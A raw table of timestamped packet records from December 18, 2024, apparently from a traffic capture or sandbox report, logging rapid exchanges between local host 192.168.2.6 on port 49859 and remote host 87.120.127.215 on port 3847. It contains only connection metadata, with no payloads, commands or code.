Dec 18, 2024 19:28:08.224695921 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.225084066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.225157976 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.225240946 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.225908041 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.225987911 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.226043940 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.226811886 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.226874113 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.227029085 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.227556944 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.227654934 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.227700949 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.228416920 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.228485107 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.229139090 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.229285002 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.229418993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.229861021 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.230093002 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.230402946 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.230449915 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.230981112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.231106997 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.231148958 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.231833935 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.231930017 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.232500076 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.232686043 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.284986973 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.379998922 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.380068064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.380168915 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.380268097 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.380474091 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.380525112 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.380594969 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.381241083 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.381287098 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.381325006 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.382106066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.382160902 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.382184982 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.382973909 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.383136988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.383178949 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.383815050 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.383877039 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.383912086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.384687901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.384754896 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.384794950 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.385531902 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.385571957 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.385688066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.386399031 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.386492014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.386533976 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.387264013 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.387322903 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.387388945 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.388175011 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.388256073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.388319969 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.389069080 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.389112949 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.389137983 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.389914036 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.390073061 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.390116930 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.390719891 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.390775919 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.390825033 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.391563892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.391669035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.391716003 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.392433882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.392483950 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.392579079 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.393285036 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.393328905 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.393374920 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.394145966 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.394193888 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.394252062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.395016909 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.395042896 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.395086050 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.395858049 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.395921946 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.395955086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.396769047 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.396842957 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.396852016 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.397663116 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.397711992 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.397725105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.398519993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.398567915 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.398650885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.399373055 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.399502039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.399554014 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.400218010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.400274038 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.400408030 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.401149988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.401194096 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.401325941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.402077913 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.402117014 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.402128935 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.402895927 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.402954102 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.403007984 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.403665066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.403789043 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.403827906 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.404884100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.404932976 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.404974937 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.405473948 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.405522108 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.405561924 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.406253099 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.406299114 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.406352043 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.407109976 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.407151937 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.407232046 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.408013105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.408067942 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.408091068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.408833981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.408902884 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.408905029 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.409743071 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.409786940 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.409790039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.410583019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.410634041 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.410692930 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.411470890 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.411514997 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.411596060 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.412395954 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.412528992 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.412573099 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.413314104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.413360119 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.413467884 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.414192915 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.414249897 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.414355993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.415218115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.415349960 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.415395021 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.415949106 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.415966034 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.415998936 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.416667938 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.416709900 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.416734934 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.417526007 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.417568922 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.417639971 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.418356895 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.418479919 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.418622017 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.419286966 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.419344902 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.419356108 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.420079947 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.420116901 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.420172930 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.420939922 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.421067953 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.421169043 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.421812057 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.421854019 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.421881914 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.422662973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.422709942 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.422735929 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.423532009 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.423573017 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.423645973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.424422979 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.424489021 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.424527884 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.572551012 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.572624922 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.572695017 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.573132992 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.573183060 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.573259115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.573856115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.573915958 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.573975086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.574724913 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.574831963 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.574919939 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.575591087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.575654030 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.575895071 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.576478958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.576531887 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.576641083 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.577327967 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.577378035 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.577461958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.578320980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.578360081 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.578459978 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.579046965 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.579085112 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.579214096 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.579979897 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.580044985 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.580143929 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.580818892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.580878019 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.580928087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.581660986 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.581701040 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.581712008 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.582669973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.582720995 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.582845926 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.583803892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.583865881 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.583903074 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.584570885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.584615946 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.584692001 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.585402012 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.585460901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.585498095 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.586070061 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.586178064 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.586213112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.586996078 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.587038040 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.587110043 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.587889910 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.587903023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.587944984 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.588716984 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.588816881 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.588866949 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.589605093 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.589649916 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.589706898 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.590440035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.590538025 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.590559959 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.591129065 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.591166019 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.591226101 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.592035055 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.592171907 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.592221022 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.592911005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.593065977 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.593195915 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.593878031 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.594033957 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.594078064 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.594554901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.594593048 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.594664097 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.595470905 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.595525026 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.595566034 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.596324921 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.596371889 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.596432924 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.597158909 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.597203970 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.597223997 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.598110914 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.598157883 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.598279953 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.599102974 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.599144936 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.599176884 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.599795103 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.599838972 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.599869013 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.600650072 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.600744963 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.600785971 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.601470947 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.601505995 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.601583004 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.602374077 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.602417946 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.602487087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.603390932 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.603427887 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.603487968 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.604193926 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.604295969 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.604326963 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.604980946 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.605061054 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.605096102 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.605803013 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.605842113 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.605891943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.606694937 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.606820107 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.606853962 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.607772112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.607841969 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.607896090 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.608747005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.608784914 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.608984947 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.609611034 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.609738111 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.609793901 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.610394001 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.610419035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.610451937 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.611022949 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.611056089 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.611130953 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.611831903 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.611874104 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.611938953 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.612730980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.612796068 CET	3847	49859	87.120.127.215	192.168.2.6
